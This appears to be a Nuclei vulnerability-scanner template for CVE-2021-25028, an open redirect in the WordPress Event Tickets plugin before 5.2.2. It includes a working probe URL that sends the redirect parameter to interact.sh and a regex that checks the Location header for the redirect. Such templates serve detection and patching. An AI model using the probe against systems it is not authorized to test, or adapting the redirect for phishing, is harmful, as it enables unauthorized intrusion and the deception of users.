WordPress Event Tickets < 5.2.2 - Open Redirect

id: CVE-2021-25028

info:
  name: WordPress Event Tickets < 5.2.2 - Open Redirect
  author: dhiyaneshDk
  severity: medium
  description: WordPress Event Tickets < 5.2.2 is susceptible to an open redirect vulnerability. The plugin does not validate the tribe_tickets_redirect_to parameter before redirecting the user to the given value, leading to an arbitrary redirect issue.
  remediation: |
    Update to the latest version of the WordPress Event Tickets plugin (5.2.2 or higher) to fix the open redirect vulnerability.
  reference:
    - https://wpscan.com/vulnerability/80b0682e-2c3b-441b-9628-6462368e5fc7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25028
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25028
    cwe-id: CWE-601
    epss-score: 0.00106
    epss-percentile: 0.42838
    cpe: cpe:2.3:a:tri:event_tickets:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: tri
    product: event_tickets
    framework: wordpress
  tags: cve2021,cve,wordpress,redirect,wp-plugin,eventtickets,wpscan,tri

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://interact.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a004730450220523e42cccb15d399bfe1d8f4b00af72f0ccf7c7bd749ec772e31fa77690724b4022100bfbc6f0237c977b76922435c5442ce93f373946c65ea39d0dcb51f48c357a6d1:922c64590222798bb761d5b6d8e72950